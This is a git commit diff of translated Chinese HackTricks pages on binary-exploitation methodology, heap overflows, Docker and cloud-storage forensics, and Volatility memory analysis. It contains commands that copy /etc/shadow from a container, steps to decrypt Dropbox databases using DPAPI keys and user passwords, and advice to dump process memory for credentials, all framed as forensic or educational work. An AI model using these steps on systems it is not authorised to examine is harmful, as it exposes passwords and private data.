Translated ['src/binary-exploitation/basic-stack-binary-exploitation-met

This commit is contained in:
Translator 2025-01-04 02:31:46 +00:00
parent 09e0d1dd79
commit 92081eeae4
92 changed files with 2844 additions and 2837 deletions

View File

@ -40,27 +40,27 @@ tools/
## 永久循环
需要考虑的一点是,通常 **仅仅利用一次漏洞可能不够** 来执行成功的利用,特别是某些保护需要被绕过。因此,讨论一些选项以 **使单个漏洞在同一二进制执行中可利用多次** 是很有趣的:
需要考虑的一点是,通常 **仅仅利用一次漏洞可能不足以执行成功的利用**,特别是某些保护需要被绕过。因此,讨论一些选项以 **使单个漏洞在同一二进制执行中可利用多次** 是很有趣的:
- 在 **ROP** 链中写入 **`main` 函数** 的地址或发生 **漏洞** 的地址。
- 控制一个合适的 ROP 链,您可能能够在该链中执行所有操作
- 在 GOT 中写入 **`exit` 地址**(或二进制在结束前使用的任何其他函数)到 **返回漏洞**
- 如 [**.fini_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md#eternal-loop)**中所述,** 在这里存储 2 个函数,一个用于再次调用漏洞,另一个用于调用 **`__libc_csu_fini`**,它将再次调用 `.fini_array` 中的函数。
- 在 GOT 中写入 **`exit` 地址**(或二进制在结束前使用的任何其他函数)到 **返回漏洞** 的地址
- 如 [**.fini_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md#eternal-loop)**中所述,** 在这里存储个函数,一个用于再次调用漏洞,另一个用于调用 **`__libc_csu_fini`**,它将再次调用 `.fini_array` 中的函数。
## 利用目标
### 目标:调用现有函数
- [**ret2win**](./#ret2win): 代码中有一个您需要调用的函数(可能带有一些特定参数)以获取标志。
- [**ret2win**](#ret2win): 代码中有一个您需要调用的函数(可能带有一些特定参数)以获取标志。
- 在 **没有** [**PIE**](../common-binary-protections-and-bypasses/pie/) **和** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/) 的常规 bof 中,您只需在存储在栈中的返回地址中写入地址。
- 在带有 [**PIE**](../common-binary-protections-and-bypasses/pie/) 的 bof 中,您需要绕过它
- 在带有 [**canary**](../common-binary-protections-and-bypasses/stack-canaries/) 的 bof 中,您需要绕过它
- 如果您需要设置多个参数以正确调用 **ret2win** 函数,您可以使用:
- 如果有足够的 gadgets可以使用 [**ROP**](./#rop-and-ret2...-techniques) **链来准备所有参数
- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/)(如果您可以调用此系统调用)控制许多寄存器
- 如果有足够的 gadgets可以使用 [**ROP**](#rop-and-ret2...-techniques) **链来准备所有参数
- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/)(如果您可以调用此系统调用)控制许多寄存器
- 来自 [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) 和 [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) 的 gadgets 来控制多个寄存器
- 通过 [**写入什么到哪里**](../arbitrary-write-2-exec/) 您可以利用其他漏洞(不是 bof来调用 **`win`** 函数。
- [**指针重定向**](../stack-overflow/pointer-redirecting.md): 如果栈包含指向将要调用的函数或将要被有趣的函数system 或 printf使用的字符串的指针则可以覆盖该地址。
- [**指针重定向**](../stack-overflow/pointer-redirecting.md): 如果栈包含指向将要调用的函数或将要被有趣的函数system 或 printf使用的字符串的指针则可以覆盖该地址。
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) 或 [**PIE**](../common-binary-protections-and-bypasses/pie/) 可能会影响地址。
- [**未初始化变量**](../stack-overflow/uninitialized-variables.md): 你永远不知道。
@ -68,17 +68,17 @@ tools/
#### 通过 shellcode如果 nx 被禁用或将 shellcode 与 ROP 混合:
- [**(栈) Shellcode**](./#stack-shellcode): 这对于在覆盖返回指针之前或之后在栈中存储 shellcode 并然后 **跳转到它** 执行是有用的:
- [**(栈) Shellcode**](#stack-shellcode): 这对于在覆盖返回指针之前或之后在栈中存储 shellcode 并然后 **跳转到它** 执行是有用的:
- **在任何情况下,如果有** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/)**** 在常规 bof 中,您需要绕过(泄漏)它
- **没有** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **和** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md),可以跳转到栈的地址,因为它不会改变
- **有** [**ASLR**](../common-binary-protections-and-bypasses/aslr/),您需要使用 [**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md) 等技术来跳转到它
- **有** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md),您需要使用一些 [**ROP**](../rop-return-oriented-programing/) **来调用 `memprotect`** 并使某些页面 `rwx`,然后 **将 shellcode 存储在其中**(例如调用 read并然后跳转到那里。
- **有** [**ASLR**](../common-binary-protections-and-bypasses/aslr/),您需要使用 [**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md) 等技术来跳转到它
- **有** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md),您需要使用一些 [**ROP**](../rop-return-oriented-programing/) **来调用 `memprotect`** 并使某些页面 `rwx`,然后 **在其中存储 shellcode**(例如调用 read并然后跳转到那里。
- 这将把 shellcode 与 ROP 链混合。
#### 通过系统调用
- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/): 有用的调用 `execve` 来运行任意命令。您需要能够找到 **调用特定系统调用的 gadgets 及其参数**
- 如果 [**ASLR**](../common-binary-protections-and-bypasses/aslr/) 或 [**PIE**](../common-binary-protections-and-bypasses/pie/) 被启用,您需要击败它们 **以便使用二进制文件或库中的 ROP gadgets**
- 如果启用了 [**ASLR**](../common-binary-protections-and-bypasses/aslr/) 或 [**PIE**](../common-binary-protections-and-bypasses/pie/),您需要击败它们 **以便使用二进制文件或库中的 ROP gadgets**
- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) 可以用于准备 **ret2execve**
- 来自 [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) 和 [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) 的 gadgets 来控制多个寄存器
@ -98,13 +98,13 @@ tools/
#### 通过 EBP/RBP
- [**栈转移 / EBP2Ret / EBP 链接**](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md): 控制 ESP 以通过存储在栈中的 EBP 控制 RET。
- [**栈枢轴 / EBP2Ret / EBP 链接**](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md): 控制 ESP 以通过存储在栈中的 EBP 控制 RET。
- 对于 **off-by-one** 栈溢出很有用
- 作为一种替代方法,在利用 EIP 构造内存中的有效载荷后,通过 EBP 跳转到它也很有用
- 作为一种替代方式,在利用 EIP 构造内存中的有效载荷并通过 EBP 跳转到它时,结束控制 EIP 也很有用
#### 其他
- [**指针重定向**](../stack-overflow/pointer-redirecting.md): 如果栈包含指向将要调用的函数或将要被有趣的函数system 或 printf使用的字符串的指针则可以覆盖该地址。
- [**指针重定向**](../stack-overflow/pointer-redirecting.md): 如果栈包含指向将要调用的函数或将要被有趣的函数system 或 printf使用的字符串的指针则可以覆盖该地址。
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) 或 [**PIE**](../common-binary-protections-and-bypasses/pie/) 可能会影响地址。
- [**未初始化变量**](../stack-overflow/uninitialized-variables.md): 你永远不知道。

View File

@ -1,4 +1,4 @@
# 堆溢出
# Heap Overflow
{{#include ../../banners/hacktricks-training.md}}
@ -6,32 +6,32 @@
堆溢出类似于 [**栈溢出**](../stack-overflow/),但发生在堆中。基本上,这意味着在堆中保留了一些空间来存储数据,而 **存储的数据大于保留的空间。**
在栈溢出中,我们知道一些寄存器,如指令指针或栈帧,将从栈中恢复,并且可能会被滥用。在堆溢出的情况下,**默认情况下堆块中没有存储任何敏感信息**,因此可以被溢出。然而,它可能是敏感信息或指针,因此这种漏洞的 **严重性** **取决于** **可以被覆盖的数据** 以及攻击者如何利用这一点。
在栈溢出中,我们知道一些寄存器,如指令指针或栈帧,将从栈中恢复,并且可能会被滥用。在堆溢出的情况下,**默认情况下,堆块中没有存储任何敏感信息**,可以被溢出。然而,它可能包含敏感信息或指针,因此这种漏洞的 **严重性** **取决于** **可能被覆盖的数据** 以及攻击者如何利用这一点。
> [!TIP]
> 为了找到溢出偏移量,您可以使用与 [**栈溢出**](../stack-overflow/#finding-stack-overflows-offsets) 相同的模式。
> 为了找到溢出偏移量,您可以使用与 [**栈溢出**](../stack-overflow/index.html#finding-stack-overflows-offsets) 相同的模式。
### 栈溢出与堆溢出
在栈溢出中,触发漏洞时栈中将存在的排列和数据是相当可靠的。这是因为栈是线性的,总是增加在碰撞内存中,在 **程序运行的特定位置,栈内存通常存储类似类型的数据**,并且它具有一些特定的结构,末尾有一些指向每个函数使用的栈部分的指针。
在栈溢出中,触发漏洞时栈中将存在的排列和数据是相当可靠的。这是因为栈是线性的,总是增加在碰撞内存中,在 **程序运行的特定位置,栈内存通常存储类似类型的数据**,并且它具有一些特定的结构,末尾有一些指向每个函数使用的栈部分的指针。
然而,在堆溢出的情况下,使用的内存不是线性的,而是 **分配的块通常位于内存的不同位置**(而不是一个接一个),因为 **bins 和 zones** 按大小分隔分配,并且因为 **先前释放的内存在分配新块之前被使用**。因此,**很难知道将与易受堆溢出影响的对象发生碰撞的对象**。因此,当发现堆溢出时,需要找到一种 **可靠的方法使所需对象在内存中紧挨着可以被溢出的对象**
用于此的一种技术是 **Heap Grooming**,例如在 [**这篇文章**](https://azeria-labs.com/grooming-the-ios-kernel-heap/) 中进行了说明。文章解释了当 iOS 内核中的一个区域没有足够的内存来存储内存块时,它通过一个内核页面进行扩展,并且该页面被分割成预期大小的块,这些块将按顺序使用(直到 iOS 版本 9.2,然后这些块以随机方式使用,以增加这些攻击的利用难度)。
用于此的一种技术是 **Heap Grooming**,例如在 [**这篇文章**](https://azeria-labs.com/grooming-the-ios-kernel-heap/) 中进行了说明。文章解释了当 iOS 内核中的一个区域没有足够的内存来存储内存块时,它通过一个内核页面进行扩展,并且该页面被分割成预期大小的块,这些块将按顺序使用(直到 iOS 版本 9.2,然后这些块以随机方式使用,以增加这些攻击的利用难度)。
因此,在发生堆溢出的前一篇文章中,为了强制溢出的对象与受害者对象发生碰撞,多个 **`kallocs` 被多个线程强制执行,以确保所有空闲块都被填满,并且创建一个新页面**。
为了强制用特定大小的对象填充,**与 iOS mach 端口相关的离线分配**是一个理想的候选者。通过精确设置消息的大小,可以准确指定 `kalloc` 分配的大小,当相应的 mach 端口被销毁时,相应的分配将立即释放回 `kfree`
为了强制用特定大小的对象填充,**与 iOS mach 端口相关的离线分配**是一个理想的候选者。通过调整消息的大小,可以精确指定 `kalloc` 分配的大小,当相应的 mach 端口被销毁时,相应的分配将立即释放回 `kfree`
然后,这些占位符中的一些可以被 **释放**。**`kalloc.4096` 空闲列表以后进先出顺序释放元素**,这基本上意味着如果一些占位符被释放,并且利用尝试在分配易受溢出影响的对象时分配多个受害者对象,则该对象很可能会被一个受害者对象跟随。
### 示例 libc
[**在此页面**](https://guyinatuxedo.github.io/27-edit_free_chunk/heap_consolidation_explanation/index.html) 可以找到一个基本的堆溢出仿真,展示了如何通过覆盖下一个块的 prev in use 位和 prev size 的位置来 **合并一个已使用的块**(使其认为是未使用的)并 **再次分配它**,能够覆盖在不同指针中使用的数据。
[**在此页面**](https://guyinatuxedo.github.io/27-edit_free_chunk/heap_consolidation_explanation/index.html) 可以找到一个基本的堆溢出仿真,展示了如何通过覆盖下一个块的 prev in use 位和 prev size 的位置来 **合并一个已使用的块**(使其认为是未使用的)并 **然后再次分配它**,能够覆盖在不同指针中使用的数据。
另一个来自 [**protostar heap 0**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap0/index.html) 的示例展示了一个非常基本的 CTF 示例,其中 **堆溢出** 可以被滥用以调用赢家函数以 **获取标志**
在 [**protostar heap 1**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap1/index.html) 示例中,可以看到如何通过滥用缓冲区溢出来 **覆盖在一个临近块中的地址**,该地址将 **写入来自用户的任意数据**。
在 [**protostar heap 1**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap1/index.html) 示例中,可以看到如何通过滥用缓冲区溢出来 **覆盖在一个临近块中的地址**,该地址将写入 **来自用户的任意数据**。
### 示例 ARM64

View File

@ -1,10 +1,10 @@
# Docker 取证
# Docker Forensics
{{#include ../../banners/hacktricks-training.md}}
## 容器修改
## Container modification
有怀疑某些 docker 容器被破坏:
有怀疑认为某些docker容器被破坏
```bash
docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
@ -24,8 +24,8 @@ A /var/lib/mysql/mysql/time_zone_leap_second.MYI
A /var/lib/mysql/mysql/general_log.CSV
...
```
在之前的命令中,**C** **Changed**,而 **A** **Added**。\
如果你发现某个有趣的文件,比如 `/etc/shadow` 被修改了,你可以使用以下命令从容器中下载它以检查恶意活动:
在之前的命令中,**C** 表 **Changed**,而 **A** **Added**。\
如果你发现某个有趣的文件,比如 `/etc/shadow` 被修改了,你可以使用以下命令从容器中下载它以检查恶意活动:
```bash
docker cp wordpress:/etc/shadow.
```
@ -48,13 +48,13 @@ container-diff analyze -t sizelayer image.tar
container-diff analyze -t history image.tar
container-diff analyze -t metadata image.tar
```
然后,您可以**解压**映像并**访问 blobs**以搜索您可能在更改历史中发现的可疑文件:
然后,您可以**解压**映像并**访问 blobs**以搜索您可能在更改历史中发现的可疑文件:
```bash
tar -xf image.tar
```
### 基本分析
您可以通过运行以下命令从镜像获取**基本信息**
您可以通过运行以下命令获取**基本信息**
```bash
docker inspect <image>
```
@ -62,14 +62,14 @@ docker inspect <image>
```bash
docker history --no-trunc <image>
```
您还可以使用以下命令从镜像生成 **dockerfile**
您还可以使用以下命令从镜像生成一个 **dockerfile**
```bash
alias dfimage="docker run -v /var/run/docker.sock:/var/run/docker.sock --rm alpine/dfimage"
dfimage -sV=1.36 madhuakula/k8s-goat-hidden-in-layers>
```
### Dive
为了在docker镜像中查找添加/修改的文件,您还可以使用[**dive**](https://github.com/wagoodman/dive)(从[**releases**](https://github.com/wagoodman/dive/releases/tag/v0.10.0)下载):
为了在docker镜像中查找添加/修改的文件,您还可以使用 [**dive**](https://github.com/wagoodman/dive)(从 [**releases**](https://github.com/wagoodman/dive/releases/tag/v0.10.0) 下载):
```bash
#First you need to load the image in your docker repo
sudo docker load < image.tar 1
@ -78,9 +78,9 @@ Loaded image: flask:latest
#And then open it with dive:
sudo dive flask:latest
```
这使您能够**浏览不同的docker镜像块**并检查哪些文件被修改/添加。**红色**表示添加,**黄色**表示修改。使用**tab**键切换到其他视图,使用**space**键折叠/打开文件夹。
这使您能够**浏览不同的 Docker 镜像块**并检查哪些文件被修改/添加。**红色**表示添加,**黄色**表示修改。使用**tab**键切换到其他视图,使用**space**键折叠/打开文件夹。
使用die您将无法访问镜像不同阶段的内容。要做到这一点,您需要**解压每一层并访问它**。\
使用 die您将无法访问镜像不同阶段的内容。要做到这一点您需要**解压每一层并访问它**。\
您可以通过在解压镜像的目录中执行以下命令来解压镜像的所有层:
```bash
tar -xf image.tar
@ -90,6 +90,6 @@ for d in `find * -maxdepth 0 -type d`; do cd $d; tar -xf ./layer.tar; cd ..; don
请注意,当您在主机内部运行 docker 容器时,**您可以通过运行 `ps -ef` 查看容器中正在运行的进程**。
因此(作为 root您可以**从主机转储进程的内存**并搜索**凭证**,就像[**以下示例**](../../linux-hardening/privilege-escalation/#process-memory)中所示。
因此(作为 root 用户),您可以**从主机转储进程的内存**并搜索**凭证**,就像[**以下示例**](../../linux-hardening/privilege-escalation/index.html#process-memory)中所示。
{{#include ../../banners/hacktricks-training.md}}

View File

@ -13,9 +13,9 @@
- 文件夹中的文件数量
- **CID**: OneDrive用户的唯一ID
- 报告生成时间
- 操作系统的HD大小
- 操作系统的硬盘大小
一旦找到CID建议**搜索包含此ID的文件**。您可能会找到名为: _**\<CID>.ini**__**\<CID>.dat**_ 的文件这些文件可能包含与OneDrive同步的文件名称等有趣信息。
一旦找到CID建议**搜索包含此ID的文件**。您可能会找到名为_**\<CID>.ini**__**\<CID>.dat**_ 的文件这些文件可能包含与OneDrive同步的文件名称等有趣信息。
## Google Drive
@ -42,7 +42,7 @@ Dropbox使用**SQLite数据库**来管理文件。在此\
- Deleted.dbx
- Config.dbx
“.dbx”扩展名意味着**数据库**是**加密的**。Dropbox使用**DPAPI** ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN](<https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN>))
“.dbx”扩展名表示**数据库**是**加密的**。Dropbox使用**DPAPI** ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN](<https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN>))
要更好地理解Dropbox使用的加密您可以阅读 [https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html)。
@ -56,7 +56,7 @@ Dropbox使用**SQLite数据库**来管理文件。在此\
除此之外,要解密数据库,您仍然需要:
- **加密的DPAPI密钥**: 您可以在注册表中找到它,路径为 `NTUSER.DAT\Software\Dropbox\ks\client`(将此数据导出为二进制)
- **`SYSTEM`** 和 **`SECURITY`** 注册表项
- **`SYSTEM`** 和 **`SECURITY`** 注册单元
- **DPAPI主密钥**: 可以在 `\Users\<username>\AppData\Roaming\Microsoft\Protect` 找到
- Windows用户的**用户名**和**密码**
@ -64,7 +64,7 @@ Dropbox使用**SQLite数据库**来管理文件。在此\
![](<../../../images/image (448).png>)
如果一切顺利,该工具将指示您需要**用来恢复原始密钥的主密钥**。要恢复原始密钥,只需使用此 [cyber_chef receipt](<https://gchq.github.io/CyberChef/#recipe=Derive_PBKDF2_key(%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D)>),将主密钥作为“密码短语”放入配方中
如果一切顺利,该工具将指示您需要**使用以恢复原始密钥的主密钥**。要恢复原始密钥,只需使用此 [cyber_chef配方](<https://gchq.github.io/CyberChef/index.html#recipe=Derive_PBKDF2_key(%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D)>),将主密钥作为配方中的“密码短语”。
生成的十六进制是用于加密数据库的最终密钥,可以用来解密:
```bash
@ -75,17 +75,17 @@ sqlite -k <Obtained Key> config.dbx ".backup config.db" #This decompress the con
- **Email**: 用户的电子邮件
- **usernamedisplayname**: 用户的名称
- **dropbox_path**: Dropbox 文件夹所在的路径
- **Host_id: Hash** 用于认证到云端。只能从网页上撤销。
- **Host_id: Hash** 用于认证到云端。此项只能从网页上撤销。
- **Root_ns**: 用户标识符
**`filecache.db`** 数据库包含与 Dropbox 同步的所有文件和文件夹的信息。表 `File_journal` 是包含更多有用信息的表:
- **Server_path**: 文件在服务器内部的路径(路径前面有客户端的 `host_id`)。
- **Server_path**: 文件在服务器内部的路径(路径前面有客户端的 `host_id`)。
- **local_sjid**: 文件的版本
- **local_mtime**: 修改日期
- **local_ctime**: 创建日期
该数据库中的其他表包含更有趣的信息:
此数据库中的其他表包含更多有趣的信息:
- **block_cache**: Dropbox 所有文件和文件夹的哈希
- **block_ref**: 将表 `block_cache` 的哈希 ID 与表 `file_journal` 中的文件 ID 关联

View File

@ -1,11 +1,10 @@
# Docker 取证
# Docker Forensics
{{#include ../../banners/hacktricks-training.md}}
## Container modification
## 容器修改
有怀疑某些 docker 容器被破坏:
有怀疑认为某些docker容器被破坏
```bash
docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
@ -26,7 +25,7 @@ A /var/lib/mysql/mysql/general_log.CSV
...
```
在之前的命令中,**C** 代表 **Changed**,而 **A** 代表 **Added**。\
如果您发现某个有趣的文件,例如 `/etc/shadow` 被修改,您可以使用以下命令从容器中下载它以检查恶意活动:
如果你发现某个有趣的文件,比如 `/etc/shadow` 被修改了,你可以使用以下命令从容器中下载它,以检查恶意活动:
```bash
docker cp wordpress:/etc/shadow.
```
@ -36,7 +35,7 @@ docker run -d lamp-wordpress
docker cp b5d53e8b468e:/etc/shadow original_shadow #Get the file from the newly created container
diff original_shadow shadow
```
如果您发现**添加了一些可疑文件**,您可以访问容器并检查它:
如果您发现 **某个可疑文件被添加**,您可以访问容器并检查它:
```bash
docker exec -it wordpress bash
```
@ -49,7 +48,7 @@ container-diff analyze -t sizelayer image.tar
container-diff analyze -t history image.tar
container-diff analyze -t metadata image.tar
```
然后,您可以**解压**映像并**访问 blobs**以搜索您可能在更改历史中发现的可疑文件:
然后,您可以**解压**映像并**访问 blobs**以搜索您可能在更改历史中发现的可疑文件:
```bash
tar -xf image.tar
```
@ -70,7 +69,7 @@ dfimage -sV=1.36 madhuakula/k8s-goat-hidden-in-layers>
```
### Dive
为了在docker镜像中查找添加/修改的文件,您还可以使用[**dive**](https://github.com/wagoodman/dive)(从[**releases**](https://github.com/wagoodman/dive/releases/tag/v0.10.0)下载):
为了在docker镜像中查找添加/修改的文件,您还可以使用 [**dive**](https://github.com/wagoodman/dive)(从 [**releases**](https://github.com/wagoodman/dive/releases/tag/v0.10.0) 下载工具
```bash
#First you need to load the image in your docker repo
sudo docker load < image.tar 1
@ -79,18 +78,18 @@ Loaded image: flask:latest
#And then open it with dive:
sudo dive flask:latest
```
这使您能够**浏览不同的docker镜像块**并检查哪些文件被修改/添加。**红色**表示添加,**黄色**表示修改。使用**tab**键移动到其他视图,使用**space**键折叠/打开文件夹。
这使您能够**浏览不同的 Docker 镜像块**并检查哪些文件被修改/添加。**红色**表示添加,**黄色**表示修改。使用**tab**键切换到其他视图,使用**space**键折叠/打开文件夹。
使用die您将无法访问镜像不同阶段的内容。要做到这一点您需要**解压每一层并访问它**。\
使用 die您将无法访问镜像不同阶段的内容。要做到这一点您需要**解压每一层并访问它**。\
您可以通过在解压镜像的目录中执行以下命令来解压镜像的所有层:
```bash
tar -xf image.tar
for d in `find * -maxdepth 0 -type d`; do cd $d; tar -xf ./layer.tar; cd ..; done
```
## 从内存中获取凭
## 从内存中获取凭
请注意,当您在主机内部运行 docker 容器时,**您可以通过运行 `ps -ef` 查看容器中正在运行的进程**。
因此(作为 root),您可以**从主机转储进程的内存**并搜索**凭据**,就像[**以下示例**](../../linux-hardening/privilege-escalation/#process-memory)中所示。
因此(作为 root 用户),您可以**从主机中转储进程的内存**并搜索**凭证**,就像[**以下示例**](../../linux-hardening/privilege-escalation/index.html#process-memory)中所示。
{{#include ../../banners/hacktricks-training.md}}

View File

@ -5,7 +5,7 @@
如果您需要一个可以自动化内存分析的工具,具有不同的扫描级别并可以并行运行多个Volatility3插件您可以使用autoVolatility3:: [https://github.com/H3xKatana/autoVolatility3/](https://github.com/H3xKatana/autoVolatility3/)
如果您需要一个可以自动化内存分析的工具,具有不同的扫描级别并能够并行运行多个Volatility3插件您可以使用autoVolatility3:: [https://github.com/H3xKatana/autoVolatility3/](https://github.com/H3xKatana/autoVolatility3/)
```bash
# Full scan (runs all plugins)
python3 autovol3.py -f MEMFILE -o OUT_DIR -s full
@ -17,7 +17,7 @@ python3 autovol3.py -f MEMFILE -o OUT_DIR -s minimal
python3 autovol3.py -f MEMFILE -o OUT_DIR -s normal
```
如果你想要一些**快速而疯狂**的东西可以并行启动多个Volatility插件你可以使用[https://github.com/carlospolop/autoVolatility](https://github.com/carlospolop/autoVolatility)
如果你想要一些 **快速而疯狂** 的东西,可以并行启动多个 Volatility 插件,你可以使用: [https://github.com/carlospolop/autoVolatility](https://github.com/carlospolop/autoVolatility)
```bash
python autoVolatility.py -f MEMFILE -d OUT_DIRECTORY -e /home/user/tools/volatility/vol.py # It will use the most important plugins (could use a lot of space depending on the size of the memory)
```
@ -39,7 +39,7 @@ Download the executable from https://www.volatilityfoundation.org/26
```
{{#endtab}}
{{#tab name="方法 2"}}
{{#tab name="Method 2"}}
```bash
git clone https://github.com/volatilityfoundation/volatility.git
cd volatility
@ -54,11 +54,11 @@ python setup.py install
### 关于“list”和“scan”插件的说明
Volatility 有两种主要的插件方法有时在其名称中反映出来。“list” 插件会尝试通过 Windows 内核结构导航,以检索诸如进程(定位并遍历内存中的 `_EPROCESS` 结构的链表)、操作系统句柄(定位并列出句柄表,取消引用找到的任何指针等)等信息。它们的行为或多或少类似于 Windows API如果请求列出进程的话。
Volatility 有两种主要的插件方法有时在其名称中反映出来。“list” 插件会尝试通过 Windows 内核结构导航以检索信息,如进程(定位并遍历内存中的 `_EPROCESS` 结构的链表)、操作系统句柄(定位并列出句柄表,解引用找到的任何指针等)。它们的行为或多或少类似于 Windows API如果请求列出进程的话。
这使得“list”插件非常快速但与 Windows API 一样容易受到恶意软件的操控。例如,如果恶意软件使用 DKOM 从 `_EPROCESS` 链表中取消链接一个进程,它将不会出现在任务管理器中,也不会出现在 pslist 中。
这使得“list”插件非常快速但与 Windows API 一样容易受到恶意软件的操控。例如,如果恶意软件使用 DKOM 从 `_EPROCESS` 链表中解除链接一个进程,它将不会出现在任务管理器中,也不会出现在 pslist 中。
另一方面“scan” 插件将采取类似于在内存中雕刻可能在取消引用为特定结构时有意义的内容的方法。例如,`psscan` 将读取内存并尝试从中创建 `_EPROCESS` 对象(它使用池标签扫描,搜索指示感兴趣结构存在的 4 字节字符串)。其优点它可以挖掘已退出的进程,即使恶意软件篡改了 `_EPROCESS` 链表插件仍然会找到在内存中存在的结构因为它仍然需要存在以便进程运行。缺点是“scan”插件比“list”插件稍慢有时可能会产生误报一个退出时间过长且其结构部分被其他操作覆盖的进程
另一方面“scan”插件将采取类似于在内存中雕刻可能在解引用为特定结构时有意义的东西的方法。例如,`psscan` 将读取内存并尝试从中创建 `_EPROCESS` 对象(它使用池标签扫描,搜索指示感兴趣结构存在的 4 字节字符串)。其优点在于它可以挖掘已退出的进程,即使恶意软件篡改了 `_EPROCESS` 链表插件仍然会找到在内存中存在的结构因为它仍然需要存在以便进程运行。缺点是“scan”插件比“list”插件稍慢有时可能会产生误报一个退出时间过长且其结构部分被其他操作覆盖的进程
来自: [http://tomchop.me/2016/11/21/tutorial-volatility-plugins-malware-analysis/](http://tomchop.me/2016/11/21/tutorial-volatility-plugins-malware-analysis/)
@ -66,7 +66,7 @@ Volatility 有两种主要的插件方法,有时在其名称中反映出来。
### Volatility3
如 readme 中所述,您需要将您想要支持的 **操作系统符号表** 放入 _volatility3/volatility/symbols_。\
如 readme 中所述,您需要将您想要支持的 **操作系统符号表** 放入 _volatility3/volatility/symbols_。\
各种操作系统的符号表包可在 **下载** 中获取:
- [https://downloads.volatilityfoundation.org/volatility3/symbols/windows.zip](https://downloads.volatilityfoundation.org/volatility3/symbols/windows.zip)
@ -81,7 +81,7 @@ Volatility 有两种主要的插件方法,有时在其名称中反映出来。
```bash
./volatility_2.6_lin64_standalone --info | grep "Profile"
```
如果您想使用**您下载的新配置文件**(例如 Linux 配置文件),您需要在某创建以下文件夹结构_plugins/overlays/linux_并将包含配置文件的 zip 文件放入此文件夹中。然后,使用以下命令获取配置文件的编号:
如果您想使用**您下载的新配置文件**(例如 Linux 配置文件),您需要在某个地方创建以下文件夹结构_plugins/overlays/linux_并将包含配置文件的 zip 文件放入此文件夹中。然后,使用以下命令获取配置文件的编号:
```bash
./vol --plugins=/home/kali/Desktop/ctfs/final/plugins --info
Volatility Foundation Volatility Framework 2.6
@ -93,9 +93,9 @@ LinuxCentOS7_3_10_0-123_el7_x86_64_profilex64 - A Profile for Linux CentOS7_3.10
VistaSP0x64 - A Profile for Windows Vista SP0 x64
VistaSP0x86 - A Profile for Windows Vista SP0 x86
```
您可以**从 [https://github.com/volatilityfoundation/profiles](https://github.com/volatilityfoundation/profiles) 下载 Linux 和 Mac 配置文件**。
您可以**下载 Linux 和 Mac 配置文件**从 [https://github.com/volatilityfoundation/profiles](https://github.com/volatilityfoundation/profiles)
在前面的部分中,您可以看到配置文件`LinuxCentOS7_3_10_0-123_el7_x86_64_profilex64`,您可以使用它来执行类似的操作:
在前面的部分中,您可以看到配置文件被称`LinuxCentOS7_3_10_0-123_el7_x86_64_profilex64`,您可以使用它来执行类似的操作:
```bash
./vol -f file.dmp --plugins=. --profile=LinuxCentOS7_3_10_0-123_el7_x86_64_profilex64 linux_netscan
```
@ -106,7 +106,7 @@ volatility kdbgscan -f file.dmp
```
#### **imageinfo 和 kdbgscan 之间的区别**
[**从这里**](https://www.andreafortuna.org/2017/06/25/volatility-my-own-cheatsheet-part-1-image-identification/): 与仅提供配置文件建议的 imageinfo 相比,**kdbgscan** 旨在准确识别正确的配置文件和正确的 KDBG 地址(如果存在多个)。该插件扫描与 Volatility 配置文件相关的 KDBGHeader 签名,并应用合理性检查以减少误报。输出的详细程度和可以执行的合理性检查数量取决于 Volatility 是否能够找到 DTB因此如果您已经知道正确的配置文件或者如果您有来自 imageinfo 的配置文件建议),请确保使用它。
[**从这里**](https://www.andreafortuna.org/2017/06/25/volatility-my-own-cheatsheet-part-1-image-identification/): 与仅提供配置文件建议的 imageinfo 相比,**kdbgscan** 旨在准确识别正确的配置文件和正确的 KDBG 地址(如果存在多个)。该插件扫描与 Volatility 配置文件相关的 KDBGHeader 签名,并应用合理性检查以减少误报。输出的详细程度和可以执行的合理性检查数量取决于 Volatility 是否能够找到 DTB因此如果您已经知道正确的配置文件或者如果您从 imageinfo 获得了配置文件建议),请确保使用它。
